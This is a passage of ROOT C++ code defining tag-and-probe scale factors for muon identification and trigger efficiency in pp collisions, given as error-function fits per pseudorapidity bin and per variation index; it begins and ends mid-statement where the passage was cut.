== 59 ) num = 0.8035*TMath::Erf((x-1.1914)/0.6195);\n else if (idx == 60 ) num = 0.7578*TMath::Erf((x-1.4771)/0.3549);\n else if (idx == 61 ) num = 0.8162*TMath::Erf((x-1.6237)/0.1832);\n else if (idx == 62 ) num = 0.8255*TMath::Erf((x-1.2920)/0.7749);\n else if (idx == 63 ) num = 0.7816*TMath::Erf((x-1.1057)/0.3861);\n else if (idx == 64 ) num = 0.8374*TMath::Erf((x-0.0000)/2.4402);\n else if (idx == 65 ) num = 0.8186*TMath::Erf((x-1.0390)/0.8229);\n else if (idx == 66 ) num = 0.8116*TMath::Erf((x-0.0001)/1.9674);\n else if (idx == 67 ) num = 0.8250*TMath::Erf((x-0.0005)/1.4029);\n else if (idx == 68 ) num = 0.7927*TMath::Erf((x-0.0000)/1.4426);\n else if (idx == 69 ) num = 0.8582*TMath::Erf((x-0.0000)/1.8208);\n else if (idx == 70 ) num = 0.7967*TMath::Erf((x-1.3126)/0.4099);\n else if (idx == 71 ) num = 0.7932*TMath::Erf((x-0.7633)/0.5733);\n else if (idx == 72 ) num = 0.8227*TMath::Erf((x-1.5987)/0.2028);\n else if (idx == 73 ) num = 0.7895*TMath::Erf((x-1.1028)/0.6487);\n else if (idx == 74 ) num = 0.8155*TMath::Erf((x-1.1035)/0.6896);\n else if (idx == 75 ) num = 0.8424*TMath::Erf((x-0.0115)/1.8434);\n else if (idx == 76 ) num = 0.8220*TMath::Erf((x-0.6349)/1.2163);\n else if (idx == 77 ) num = 0.8089*TMath::Erf((x-1.1804)/0.7203);\n else if (idx == 78 ) num = 0.8128*TMath::Erf((x-1.3014)/0.6709);\n else if (idx == 79 ) num = 0.8079*TMath::Erf((x-0.9920)/0.8517);\n else if (idx == 80 ) num = 0.8556*TMath::Erf((x-1.0864)/1.0461);\n else if (idx == 81 ) num = 0.7942*TMath::Erf((x-1.4840)/0.5244);\n else if (idx == 82 ) num = 0.7917*TMath::Erf((x-0.6556)/0.3646);\n else if (idx == 83 ) num = 0.7768*TMath::Erf((x-0.5243)/0.2028);\n else if (idx == 84 ) num = 0.8027*TMath::Erf((x-0.6750)/0.3605);\n else if (idx == 85 ) num = 0.8015*TMath::Erf((x-1.4325)/0.4880);\n else if (idx == 86 ) num = 0.8141*TMath::Erf((x-1.5298)/0.2570);\n else if (idx == 87 ) num = 0.8045*TMath::Erf((x-0.7844)/0.6069);\n else if (idx == 88 ) num = 0.8410*TMath::Erf((x-0.0000)/1.8557);\n else if (idx == 89 ) num = 0.7920*TMath::Erf((x-1.4539)/0.3025);\n else if (idx == 90 ) num = 0.8089*TMath::Erf((x-1.0296)/1.0058);\n else if (idx == 91 ) num = 0.8475*TMath::Erf((x-1.6101)/0.1987);\n else if (idx == 92 ) num = 0.7802*TMath::Erf((x-0.7944)/0.8357);\n else if (idx == 93 ) num = 0.8011*TMath::Erf((x-0.8153)/1.1014);\n else if (idx == 94 ) num = 0.8179*TMath::Erf((x-0.0000)/1.4935);\n else if (idx == 95 ) num = 0.7853*TMath::Erf((x-0.8897)/0.9254);\n else if (idx == 96 ) num = 0.8002*TMath::Erf((x-1.4115)/0.3028);\n else if (idx == 97 ) num = 0.8278*TMath::Erf((x-0.2466)/1.8594);\n else if (idx == 98 ) num = 0.8679*TMath::Erf((x-0.0000)/2.4878);\n else if (idx == 99 ) num = 0.8273*TMath::Erf((x-0.7400)/0.9682);\n else if (idx == 100 ) num = 0.8259*TMath::Erf((x-1.1232)/0.8080);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// M U I D + T R G P P //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_muidtrg_pp(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9547*TMath::Erf((x-1.7776)/2.0497);\n else if (fabs(eta)<1.6) den = 0.9150*TMath::Erf((x-1.8502)/1.6651);\n else if (fabs(eta)<2.1) den = 0.8721*TMath::Erf((x-1.1449)/2.5504);\n else den = 0.6137*TMath::Erf((x-1.0202)/1.0729);\n\n // numerator (from data)\n double num=1;\n if (fabs(eta)<0.9)\n {\n if (idx==0) num = 0.9452*TMath::Erf((x-1.9895)/1.6646);\n else if (idx == 1 ) num = 0.9493*TMath::Erf((x-0.9279)/2.4656);\n else if (idx == 2 ) num = 0.9480*TMath::Erf((x-1.6609)/2.0303);\n else if (idx == 3 ) num = 0.9424*TMath::Erf((x-1.7747)/1.8335);\n else if (idx == 4 ) num = 0.9432*TMath::Erf((x-1.6692)/1.9350);\n else if (idx == 5 ) num = 0.9469*TMath::Erf((x-2.1339)/1.5876);\n else if (idx == 6 ) num = 0.9373*TMath::Erf((x-2.0571)/1.5663);\n else if (idx == 7 ) num = 0.9370*TMath::Erf((x-2.4271)/1.2738);\n else if (idx == 8 ) num = 0.9502*TMath::Erf((x-2.1361)/1.5222);\n else if (idx == 9 ) num = 0.9462*TMath::Erf((x-1.6755)/1.9181);\n else if (idx == 10 ) num = 0.9459*TMath::Erf((x-1.9161)/1.7143);\n else if (idx == 11 ) num = 0.9438*TMath::Erf((x-2.2471)/1.3972);\n else if (idx == 12 ) num = 0.9374*TMath::Erf((x-1.9650)/1.6499);\n else if (idx == 13 ) num = 0.9449*TMath::Erf((x-2.0628)/1.6431);\n else if (idx == 14 ) num = 0.9493*TMath::Erf((x-1.9781)/1.6506);\n else if (idx == 15 ) num = 0.9431*TMath::Erf((x-1.8844)/1.7312);\n else if (idx == 16 ) num = 0.9549*TMath::Erf((x-1.5362)/2.1379);\n else if (idx == 17 ) num = 0.9529*TMath::Erf((x-1.6341)/2.0475);\n else if (idx == 18 ) num = 0.9530*TMath::Erf((x-0.8279)/2.5115);\n else if (idx == 19 ) num = 0.9489*TMath::Erf((x-1.4210)/2.1878);\n else if (idx == 20 ) num = 0.9458*TMath::Erf((x-1.9339)/1.6729);\n else if (idx == 21 ) num = 0.9458*TMath::Erf((x-1.4015)/2.1198);\n else if (idx == 22 ) num = 0.9419*TMath::Erf((x-2.3341)/1.3951);\n else if (idx == 23 ) num = 0.9474*TMath::Erf((x-1.7366)/1.8381);\n else if (idx == 24 ) num = 0.9504*TMath::Erf((x-1.5487)/2.0332);\n else if (idx == 25 ) num = 0.9533*TMath::Erf((x-1.9430)/1.7244);\n else if (idx == 26 ) num = 0.9466*TMath::Erf((x-2.0114)/1.6303);\n else if (idx == 27 ) num = 0.9499*TMath::Erf((x-1.3453)/2.2721);\n else if (idx == 28 ) num = 0.9444*TMath::Erf((x-2.2893)/1.3890);\n else if (idx == 29 ) num = 0.9416*TMath::Erf((x-1.6973)/1.8653);\n else if (idx == 30 ) num = 0.9488*TMath::Erf((x-2.0336)/1.6958);\n else if (idx == 31 ) num = 0.9477*TMath::Erf((x-1.8429)/1.7767);\n else if (idx == 32 ) num = 0.9448*TMath::Erf((x-1.4661)/2.0985);\n else if (idx == 33 ) num = 0.9492*TMath::Erf((x-2.2205)/1.5079);\n else if (idx == 34 ) num = 0.9521*TMath::Erf((x-1.2732)/2.2962);\n else if (idx == 35 ) num = 0.9432*TMath::Erf((x-2.3305)/1.3284);\n else if (idx == 36 ) num = 0.9403*TMath::Erf((x-2.1776)/1.4683);\n else if (idx == 37 ) num = 0.9527*TMath::Erf((x-1.8883)/1.8235);\n else if (idx == 38 ) num = 0.9497*TMath::Erf((x-1.7761)/1.8319);\n else if (idx == 39 ) num = 0.9452*TMath::Erf((x-1.9253)/1.7450);\n else if (idx == 40 ) num = 0.9508*TMath::Erf((x-1.8196)/1.8620);\n else if (idx == 41 ) num = 0.9462*TMath::Erf((x-1.5099)/2.1161);\n else if (idx == 42 ) num = 0.9456*TMath::Erf((x-1.9113)/1.7540);\n else if (idx == 43 ) num = 0.9418*TMath::Erf((x-2.4602)/1.2701);\n else if (idx == 44 ) num = 0.9439*TMath::Erf((x-2.0987)/1.5387);\n else if (idx == 45 ) num = 0.9461*TMath::Erf((x-2.1582)/1.5063);\n else if (idx == 46 ) num = 0.9447*TMath::Erf((x-1.8798)/1.7427);\n else if (idx == 47 ) num = 0.9481*TMath::Erf((x-1.1698)/2.3687);\n else if (idx == 48 ) num = 0.9476*TMath::Erf((x-2.0459)/1.5633);\n else if (idx == 49 ) num = 0.9401*TMath::Erf((x-1.7991)/1.8260);\n else if (idx == 50 ) num = 0.9468*TMath::Erf((x-1.6886)/1.9198);\n else if (idx == 51 ) num = 0.9446*TMath::Erf((x-1.9285)/1.7174);\n else if (idx == 52 ) num = 0.9450*TMath::Erf((x-2.1393)/1.4869);\n else if (idx == 53 ) num = 0.9410*TMath::Erf((x-2.3541)/1.3836);\n else if (idx == 54 ) num = 0.9502*TMath::Erf((x-2.0638)/1.6334);\n else if (idx == 55 ) num = 0.9447*TMath::Erf((x-1.7020)/1.8987);\n else if (idx == 56 ) num = 0.9452*TMath::Erf((x-1.8934)/1.7086);\n else if (idx == 57 ) num = 0.9492*TMath::Erf((x-1.8554)/1.8112);\n else if (idx == 58 ) num = 0.9433*TMath::Erf((x-1.9368)/1.7141);\n else if (idx == 59 ) num = 0.9522*TMath::Erf((x-1.0723)/2.4610);\n else if (idx == 60 ) num = 0.9478*TMath::Erf((x-2.2008)/1.4927);\n else if (idx == 61 ) num = 0.9462*TMath::Erf((x-2.2506)/1.4588);\n else if (idx == 62 ) num = 0.9464*TMath::Erf((x-2.1872)/1.4981);\n else if (idx == 63 ) num = 0.9487*TMath::Erf((x-2.1532)/1.5778);\n else if (idx == 64 ) num = 0.9434*TMath::Erf((x-2.2538)/1.3963);\n else if (idx == 65 ) num = 0.9478*TMath::Erf((x-2.2893)/1.4352);\n else if (idx == 66 ) num = 0.9445*TMath::Erf((x-2.2901)/1.4533);\n else if (idx == 67 ) num = 0.9500*TMath::Erf((x-1.8335)/1.8494);\n else if (idx == 68 ) num = 0.9495*TMath::Erf((x-2.0140)/1.6820);\n else if (idx == 69 ) num = 0.9414*TMath::Erf((x-2.4977)/1.2474);\n else if (idx == 70 ) num = 0.9422*TMath::Erf((x-1.5221)/2.0123);\n else if (idx == 71 ) num = 0.9471*TMath::Erf((x-1.2876)/2.1589);\n else if (idx == 72 ) num = 0.9435*TMath::Erf((x-2.2423)/1.4276);\n else if (idx == 73 ) num = 0.9484*TMath::Erf((x-2.0743)/1.6196);\n else if (idx == 74 ) num = 0.9487*TMath::Erf((x-1.6368)/2.0197);\n else if (idx == 75 ) num = 0.9492*TMath::Erf((x-1.8515)/1.7795);\n else if (idx == 76 ) num = 0.9451*TMath::Erf((x-1.8527)/1.7361);\n else if (idx == 77 ) num = 0.9460*TMath::Erf((x-2.4207)/1.2876);\n else if (idx == 78 ) num = 0.9427*TMath::Erf((x-2.0379)/1.6200);\n else if (idx == 79 ) num = 0.9500*TMath::Erf((x-1.5478)/2.0558);\n else if (idx == 80 ) num = 0.9417*TMath::Erf((x-2.0516)/1.5938);\n else if (idx == 81 ) num = 0.9438*TMath::Erf((x-2.0342)/1.5986);\n else if (idx == 82 ) num = 0.9472*TMath::Erf((x-1.8705)/1.7127);\n else if (idx == 83 ) num = 0.9472*TMath::Erf((x-1.3851)/2.1786);\n else if (idx == 84 ) num = 0.9433*TMath::Erf((x-1.8775)/1.7310);\n else if (idx == 85 ) num = 0.9417*TMath::Erf((x-2.5087)/1.1506);\n else if (idx == 86 ) num = 0.9433*TMath::Erf((x-2.2601)/1.4049);\n else if (idx == 87 ) num = 0.9393*TMath::Erf((x-2.4065)/1.2972);\n else if (idx == 88 ) num = 0.9415*TMath::Erf((x-2.0785)/1.5933);\n else if (idx == 89 ) num = 0.9483*TMath::Erf((x-1.0983)/2.3572);\n else if (idx == 90 ) num = 0.9463*TMath::Erf((x-1.9734)/1.6489);\n else if (idx == 91 ) num = 0.9466*TMath::Erf((x-2.5321)/1.2248);\n else if (idx == 92 ) num = 0.9461*TMath::Erf((x-2.0625)/1.5971);\n else if (idx == 93 ) num = 0.9483*TMath::Erf((x-2.2672)/1.4449);\n else if (idx == 94 ) num = 0.9411*TMath::Erf((x-1.7683)/1.8705);\n else if (idx == 95 ) num = 0.9433*TMath::Erf((x-2.1969)/1.5019);\n else if (idx == 96 ) num = 0.9412*TMath::Erf((x-2.2844)/1.3914);\n else if (idx == 97 ) num = 0.9494*TMath::Erf((x-1.5441)/2.1475);\n else if (idx == 98 ) num = 0.9381*TMath::Erf((x-2.3070)/1.3572);\n else if (idx == 99 ) num = 0.9464*TMath::Erf((x-1.9765)/1.6526);\n else if (idx == 100 ) num = 0.9469*TMath::Erf((x-2.1134)/1.5897);\n }\n else if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9296*TMath::Erf((x-1.8082)/1.4939);\n else if (idx == 1 ) num = 0.9228*TMath::Erf((x-1.9340)/1.2752);\n else if (idx == 2 ) num = 0.9264*TMath::Erf((x-1.8443)/1.4447);\n else if (idx == 3 ) num = 0.9270*TMath::Erf((x-1.7335)/1.5883);\n else if (idx == 4 ) num = 0.9383*TMath::Erf((x-1.7358)/1.6338);\n else if (idx == 5 ) num = 0.9327*TMath::Erf((x-1.7677)/1.5335);\n else if (idx == 6 ) num = 0.9264*TMath::Erf((x-1.9393)/1.2433);\n else if (idx == 7 ) num = 0.9168*TMath::Erf((x-2.0307)/1.0972);\n else if (idx == 8 ) num = 0.9172*TMath::Erf((x-1.9470)/1.2061);\n else if (idx == 9 ) num = 0.9378*TMath::Erf((x-1.7474)/1.5872);\n else if (idx == 10 ) num = 0.9267*TMath::Erf((x-1.9439)/1.3964);\n else if (idx == 11 ) num = 0.9273*TMath::Erf((x-1.9084)/1.3874);\n else if (idx == 12 ) num = 0.9250*TMath::Erf((x-1.7890)/1.4748);\n else if (idx == 13 ) num = 0.9305*TMath::Erf((x-1.8522)/1.4256);\n else if (idx == 14 ) num = 0.9300*TMath::Erf((x-1.8221)/1.4324);\n else if (idx == 15 ) num = 0.9299*TMath::Erf((x-1.7013)/1.5989);\n else if (idx == 16 ) num = 0.9334*TMath::Erf((x-1.8013)/1.4882);\n else if (idx == 17 ) num = 0.9227*TMath::Erf((x-1.8539)/1.3883);\n else if (idx == 18 ) num = 0.9257*TMath::Erf((x-1.8259)/1.4358);\n else if (idx == 19 ) num = 0.9255*TMath::Erf((x-1.8912)/1.3309);\n else if (idx == 20 ) num = 0.9340*TMath::Erf((x-1.8746)/1.4472);\n else if (idx == 21 ) num = 0.9259*TMath::Erf((x-1.8128)/1.5053);\n else if (idx == 22 ) num = 0.9396*TMath::Erf((x-1.7421)/1.6538);\n else if (idx == 23 ) num = 0.9284*TMath::Erf((x-1.8263)/1.4731);\n else if (idx == 24 ) num = 0.9192*TMath::Erf((x-1.8913)/1.3441);\n else if (idx == 25 ) num = 0.9231*TMath::Erf((x-1.8099)/1.5036);\n else if (idx == 26 ) num = 0.9379*TMath::Erf((x-1.6985)/1.6744);\n else if (idx == 27 ) num = 0.9354*TMath::Erf((x-1.6298)/1.7815);\n else if (idx == 28 ) num = 0.9240*TMath::Erf((x-1.7785)/1.4582);\n else if (idx == 29 ) num = 0.9352*TMath::Erf((x-1.6989)/1.6584);\n else if (idx == 30 ) num = 0.9310*TMath::Erf((x-1.7431)/1.5840);\n else if (idx == 31 ) num = 0.9172*TMath::Erf((x-1.9683)/1.1940);\n else if (idx == 32 ) num = 0.9304*TMath::Erf((x-1.6948)/1.6217);\n else if (idx == 33 ) num = 0.9228*TMath::Erf((x-1.8323)/1.4585);\n else if (idx == 34 ) num = 0.9319*TMath::Erf((x-1.7302)/1.6198);\n else if (idx == 35 ) num = 0.9342*TMath::Erf((x-1.7539)/1.6164);\n else if (idx == 36 ) num = 0.9353*TMath::Erf((x-1.7332)/1.6002);\n else if (idx == 37 ) num = 0.9202*TMath::Erf((x-1.9917)/1.1629);\n else if (idx == 38 ) num = 0.9252*TMath::Erf((x-1.8106)/1.5017);\n else if (idx == 39 ) num = 0.9261*TMath::Erf((x-1.8308)/1.4388);\n else if (idx == 40 ) num = 0.9387*TMath::Erf((x-1.6479)/1.7381);\n else if (idx == 41 ) num = 0.9383*TMath::Erf((x-1.7387)/1.6711);\n else if (idx == 42 ) num = 0.9232*TMath::Erf((x-1.7656)/1.5016);\n else if (idx == 43 ) num = 0.9107*TMath::Erf((x-1.9756)/1.1716);\n else if (idx == 44 ) num = 0.9338*TMath::Erf((x-1.7224)/1.6770);\n else if (idx == 45 ) num = 0.9291*TMath::Erf((x-1.8243)/1.4573);\n else if (idx == 46 ) num = 0.9173*TMath::Erf((x-2.0264)/1.1183);\n else if (idx == 47 ) num = 0.9326*TMath::Erf((x-1.6994)/1.6657);\n else if (idx == 48 ) num = 0.9299*TMath::Erf((x-1.7852)/1.5192);\n else if (idx == 49 ) num = 0.9287*TMath::Erf((x-1.8230)/1.3852);\n else if (idx == 50 ) num = 0.9276*TMath::Erf((x-1.7988)/1.4829);\n else if (idx == 51 ) num = 0.9317*TMath::Erf((x-1.8623)/1.4653);\n else if (idx == 52 ) num = 0.9285*TMath::Erf((x-1.7818)/1.4810);\n else if (idx == 53 ) num = 0.9265*TMath::Erf((x-1.7992)/1.4847);\n else if (idx == 54 ) num = 0.9398*TMath::Erf((x-1.7852)/1.6039);\n else if (idx == 55 ) num = 0.9273*TMath::Erf((x-1.8146)/1.4363);\n else if (idx == 56 ) num = 0.9407*TMath::Erf((x-1.6615)/1.7281);\n else if (idx == 57 ) num = 0.9279*TMath::Erf((x-1.8595)/1.4374);\n else if (idx == 58 ) num = 0.9288*TMath::Erf((x-1.8471)/1.3851);\n else if (idx == 59 ) num = 0.9344*TMath::Erf((x-1.8707)/1.4472);\n else if (idx == 60 ) num = 0.9316*TMath::Erf((x-1.8245)/1.5131);\n else if (idx == 61 ) num = 0.9374*TMath::Erf((x-1.8059)/1.5619);\n else if (idx == 62 ) num = 0.9258*TMath::Erf((x-1.9476)/1.2748);\n else if (idx == 63 ) num = 0.9312*TMath::Erf((x-1.8346)/1.5249);\n else if (idx == 64 ) num = 0.9226*TMath::Erf((x-1.9816)/1.1784);\n else if (idx == 65 ) num = 0.9198*TMath::Erf((x-1.8953)/1.3532);\n else if (idx == 66 ) num = 0.9366*TMath::Erf((x-1.7306)/1.6518);\n else if (idx == 67 ) num = 0.9269*TMath::Erf((x-1.8828)/1.3791);\n else if (idx == 68 ) num = 0.9238*TMath::Erf((x-1.8062)/1.4366);\n else if (idx == 69 ) num = 0.9302*TMath::Erf((x-1.8518)/1.4330);\n else if (idx == 70 ) num = 0.9211*TMath::Erf((x-1.8840)/1.2922);\n else if (idx == 71 ) num = 0.9349*TMath::Erf((x-1.8541)/1.5130);\n else if (idx == 72 ) num = 0.9313*TMath::Erf((x-1.8100)/1.4912);\n else if (idx == 73 ) num = 0.9268*TMath::Erf((x-1.9214)/1.3676);\n else if (idx == 74 ) num = 0.9246*TMath::Erf((x-1.8936)/1.3789);\n else if (idx == 75 ) num = 0.9314*TMath::Erf((x-1.6616)/1.6535);\n else if (idx == 76 ) num = 0.9220*TMath::Erf((x-1.8798)/1.4001);\n else if (idx == 77 ) num = 0.9214*TMath::Erf((x-1.8274)/1.3731);\n else if (idx == 78 ) num = 0.9332*TMath::Erf((x-1.8443)/1.4993);\n else if (idx == 79 ) num = 0.9271*TMath::Erf((x-1.8608)/1.3937);\n else if (idx == 80 ) num = 0.9327*TMath::Erf((x-1.8163)/1.4979);\n else if (idx == 81 ) num = 0.9312*TMath::Erf((x-1.6212)/1.7104);\n else if (idx == 82 ) num = 0.9378*TMath::Erf((x-1.7707)/1.5902);\n else if (idx == 83 ) num = 0.9300*TMath::Erf((x-1.7487)/1.4973);\n else if (idx == 84 ) num = 0.9382*TMath::Erf((x-1.8073)/1.5204);\n else if (idx == 85 ) num = 0.9286*TMath::Erf((x-1.7356)/1.6207);\n else if (idx == 86 ) num = 0.9279*TMath::Erf((x-1.7921)/1.5296);\n else if (idx == 87 ) num = 0.9237*TMath::Erf((x-1.8682)/1.3698);\n else if (idx == 88 ) num = 0.9226*TMath::Erf((x-1.9191)/1.3308);\n else if (idx == 89 ) num = 0.9241*TMath::Erf((x-1.8656)/1.3409);\n else if (idx == 90 ) num = 0.9230*TMath::Erf((x-1.8922)/1.3543);\n else if (idx == 91 ) num = 0.9395*TMath::Erf((x-1.6801)/1.7029);\n else if (idx == 92 ) num = 0.9266*TMath::Erf((x-1.9211)/1.3373);\n else if (idx == 93 ) num = 0.9258*TMath::Erf((x-1.7725)/1.4893);\n else if (idx == 94 ) num = 0.9431*TMath::Erf((x-1.5790)/1.8293);\n else if (idx == 95 ) num = 0.9139*TMath::Erf((x-2.0038)/1.1545);\n else if (idx == 96 ) num = 0.9205*TMath::Erf((x-1.9451)/1.2889);\n else if (idx == 97 ) num = 0.9331*TMath::Erf((x-1.8361)/1.4560);\n else if (idx == 98 ) num = 0.9299*TMath::Erf((x-1.7829)/1.5135);\n else if (idx == 99 ) num = 0.9248*TMath::Erf((x-1.9527)/1.2692);\n else if (idx == 100 ) num = 0.9303*TMath::Erf((x-1.7918)/1.5020);\n }\n else if (fabs(eta)<2.1)\n {\n if (idx==0) num = 0.8808*TMath::Erf((x-0.8275)/2.6569);\n else if (idx == 1 ) num = 0.8839*TMath::Erf((x-0.7570)/2.8569);\n else if (idx == 2 ) num = 0.8737*TMath::Erf((x-0.6880)/2.7966);\n else if (idx == 3 ) num = 0.8806*TMath::Erf((x-0.8966)/2.6197);\n else if (idx == 4 ) num = 0.8968*TMath::Erf((x-0.8763)/2.5835);\n else if (idx == 5 ) num = 0.8793*TMath::Erf((x-0.8394)/2.6178);\n else if (idx == 6 ) num = 0.8890*TMath::Erf((x-0.7792)/2.7506);\n else if (idx == 7 ) num = 0.8796*TMath::Erf((x-0.7563)/2.7645);\n else if (idx == 8 ) num = 0.8617*TMath::Erf((x-0.7787)/2.6274);\n else if (idx == 9 ) num = 0.8746*TMath::Erf((x-0.8287)/2.5958);\n else if (idx == 10 ) num = 0.9086*TMath::Erf((x-0.8283)/2.7575);\n else if (idx == 11 ) num = 0.8895*TMath::Erf((x-0.8807)/2.6903);\n else if (idx == 12 ) num = 0.8717*TMath::Erf((x-0.9869)/2.3381);\n else if (idx == 13 ) num = 0.8801*TMath::Erf((x-0.8452)/2.6203);\n else if (idx == 14 ) num = 0.8938*TMath::Erf((x-0.8031)/2.6570);\n else if (idx == 15 ) num = 0.8752*TMath::Erf((x-0.7575)/2.7662);\n else if (idx == 16 ) num = 0.8934*TMath::Erf((x-0.6139)/3.0203);\n else if (idx == 17 ) num = 0.8706*TMath::Erf((x-0.6870)/2.8273);\n else if (idx == 18 ) num = 0.8786*TMath::Erf((x-0.8072)/2.6384);\n else if (idx == 19 ) num = 0.9078*TMath::Erf((x-0.6869)/2.9635);\n else if (idx == 20 ) num = 0.8758*TMath::Erf((x-0.9604)/2.4876);\n else if (idx == 21 ) num = 0.8887*TMath::Erf((x-0.8290)/2.7153);\n else if (idx == 22 ) num = 0.8724*TMath::Erf((x-0.9215)/2.4841);\n else if (idx == 23 ) num = 0.8835*TMath::Erf((x-0.7502)/2.7998);\n else if (idx == 24 ) num = 0.8801*TMath::Erf((x-0.7335)/2.7524);\n else if (idx == 25 ) num = 0.8982*TMath::Erf((x-0.8899)/2.6465);\n else if (idx == 26 ) num = 0.8920*TMath::Erf((x-0.8743)/2.6822);\n else if (idx == 27 ) num = 0.8680*TMath::Erf((x-0.8578)/2.5897);\n else if (idx == 28 ) num = 0.8904*TMath::Erf((x-0.7001)/2.8563);\n else if (idx == 29 ) num = 0.8682*TMath::Erf((x-0.9199)/2.4671);\n else if (idx == 30 ) num = 0.8800*TMath::Erf((x-0.8783)/2.6047);\n else if (idx == 31 ) num = 0.8884*TMath::Erf((x-0.7380)/2.8365);\n else if (idx == 32 ) num = 0.8687*TMath::Erf((x-0.9311)/2.4173);\n else if (idx == 33 ) num = 0.8961*TMath::Erf((x-0.7645)/2.8051);\n else if (idx == 34 ) num = 0.8642*TMath::Erf((x-1.0001)/2.3737);\n else if (idx == 35 ) num = 0.8917*TMath::Erf((x-0.6550)/3.0015);\n else if (idx == 36 ) num = 0.8535*TMath::Erf((x-0.8902)/2.4100);\n else if (idx == 37 ) num = 0.8620*TMath::Erf((x-0.7666)/2.7147);\n else if (idx == 38 ) num = 0.8701*TMath::Erf((x-0.8905)/2.5293);\n else if (idx == 39 ) num = 0.9028*TMath::Erf((x-0.8263)/2.7867);\n else if (idx == 40 ) num = 0.8868*TMath::Erf((x-0.6856)/2.8735);\n else if (idx == 41 ) num = 0.9071*TMath::Erf((x-0.8097)/2.8400);\n else if (idx == 42 ) num = 0.8791*TMath::Erf((x-0.8017)/2.7155);\n else if (idx == 43 ) num = 0.8766*TMath::Erf((x-0.8225)/2.6615);\n else if (idx == 44 ) num = 0.8686*TMath::Erf((x-0.9526)/2.4109);\n else if (idx == 45 ) num = 0.8987*TMath::Erf((x-0.7707)/2.8055);\n else if (idx == 46 ) num = 0.8753*TMath::Erf((x-0.8579)/2.4986);\n else if (idx == 47 ) num = 0.8873*TMath::Erf((x-0.6910)/2.9397);\n else if (idx == 48 ) num = 0.8849*TMath::Erf((x-0.7456)/2.7543);\n else if (idx == 49 ) num = 0.8771*TMath::Erf((x-0.8273)/2.6012);\n else if (idx == 50 ) num = 0.8811*TMath::Erf((x-0.9277)/2.4511);\n else if (idx == 51 ) num = 0.8882*TMath::Erf((x-0.8785)/2.5943);\n else if (idx == 52 ) num = 0.8960*TMath::Erf((x-0.7022)/2.9845);\n else if (idx == 53 ) num = 0.9088*TMath::Erf((x-0.8289)/2.7335);\n else if (idx == 54 ) num = 0.8809*TMath::Erf((x-0.9047)/2.5490);\n else if (idx == 55 ) num = 0.8828*TMath::Erf((x-0.7195)/2.8553);\n else if (idx == 56 ) num = 0.8761*TMath::Erf((x-0.8372)/2.6127);\n else if (idx == 57 ) num = 0.8608*TMath::Erf((x-0.9045)/2.4741);\n else if (idx == 58 ) num = 0.8935*TMath::Erf((x-0.8397)/2.6357);\n else if (idx == 59 ) num = 0.8800*TMath::Erf((x-0.7496)/2.7234);\n else if (idx == 60 ) num = 0.8737*TMath::Erf((x-0.7861)/2.7191);\n else if (idx == 61 ) num = 0.8808*TMath::Erf((x-0.6380)/2.9160);\n else if (idx == 62 ) num = 0.8859*TMath::Erf((x-0.8663)/2.6311);\n else if (idx == 63 ) num = 0.8802*TMath::Erf((x-0.8099)/2.6360);\n else if (idx == 64 ) num = 0.8863*TMath::Erf((x-0.8848)/2.6422);\n else if (idx == 65 ) num = 0.8782*TMath::Erf((x-0.9489)/2.4922);\n else if (idx == 66 ) num = 0.8875*TMath::Erf((x-0.8413)/2.6574);\n else if (idx == 67 ) num = 0.8870*TMath::Erf((x-0.7740)/2.8129);\n else if (idx == 68 ) num = 0.8736*TMath::Erf((x-0.8627)/2.6021);\n else if (idx == 69 ) num = 0.8802*TMath::Erf((x-0.7293)/2.8124);\n else if (idx == 70 ) num = 0.8804*TMath::Erf((x-0.7805)/2.6705);\n else if (idx == 71 ) num = 0.8842*TMath::Erf((x-0.7557)/2.7870);\n else if (idx == 72 ) num = 0.8782*TMath::Erf((x-0.8007)/2.6285);\n else if (idx == 73 ) num = 0.8649*TMath::Erf((x-0.7680)/2.6867);\n else if (idx == 74 ) num = 0.8930*TMath::Erf((x-0.6884)/2.9323);\n else if (idx == 75 ) num = 0.8575*TMath::Erf((x-0.8796)/2.5308);\n else if (idx == 76 ) num = 0.8675*TMath::Erf((x-0.9484)/2.3952);\n else if (idx == 77 ) num = 0.8845*TMath::Erf((x-0.8356)/2.6766);\n else if (idx == 78 ) num = 0.8856*TMath::Erf((x-0.8162)/2.6948);\n else if (idx == 79 ) num = 0.8697*TMath::Erf((x-0.7501)/2.6672);\n else if (idx == 80 ) num = 0.8786*TMath::Erf((x-0.8122)/2.6447);\n else if (idx == 81 ) num = 0.8777*TMath::Erf((x-0.8558)/2.6293);\n else if (idx == 82 ) num = 0.8838*TMath::Erf((x-0.8778)/2.5560);\n else if (idx == 83 ) num = 0.8876*TMath::Erf((x-0.8338)/2.7061);\n else if (idx == 84 ) num = 0.8701*TMath::Erf((x-0.8825)/2.5099);\n else if (idx == 85 ) num = 0.8914*TMath::Erf((x-0.9032)/2.6234);\n else if (idx == 86 ) num = 0.8865*TMath::Erf((x-0.8560)/2.7420);\n else if (idx == 87 ) num = 0.8790*TMath::Erf((x-0.8238)/2.6570);\n else if (idx == 88 ) num = 0.8939*TMath::Erf((x-0.6746)/2.7818);\n else if (idx == 89 ) num = 0.9033*TMath::Erf((x-0.8487)/2.7371);\n else if (idx == 90 ) num = 0.8792*TMath::Erf((x-0.8406)/2.6048);\n else if (idx == 91 ) num = 0.8859*TMath::Erf((x-0.9295)/2.5305);\n else if (idx == 92 ) num = 0.8806*TMath::Erf((x-0.8931)/2.5918);\n else if (idx == 93 ) num = 0.8914*TMath::Erf((x-0.7107)/2.8799);\n else if (idx == 94 ) num = 0.8712*TMath::Erf((x-0.9538)/2.4677);\n else if (idx == 95 ) num = 0.8736*TMath::Erf((x-0.9739)/2.4667);\n else if (idx == 96 ) num = 0.8850*TMath::Erf((x-0.8370)/2.6649);\n else if (idx == 97 ) num = 0.8931*TMath::Erf((x-0.6191)/3.0810);\n else if (idx == 98 ) num = 0.8854*TMath::Erf((x-0.7996)/2.6768);\n else if (idx == 99 ) num = 0.8741*TMath::Erf((x-0.8188)/2.6622);\n else if (idx == 100 ) num = 0.9001*TMath::Erf((x-0.6006)/3.0354);\n }\n else\n {\n if (idx==0) num = 0.7180*TMath::Erf((x-0.8578)/0.8700);\n else if (idx == 1 ) num = 0.7207*TMath::Erf((x-0.7230)/1.0285);\n else if (idx == 2 ) num = 0.7176*TMath::Erf((x-1.3643)/0.3977);\n else if (idx == 3 ) num = 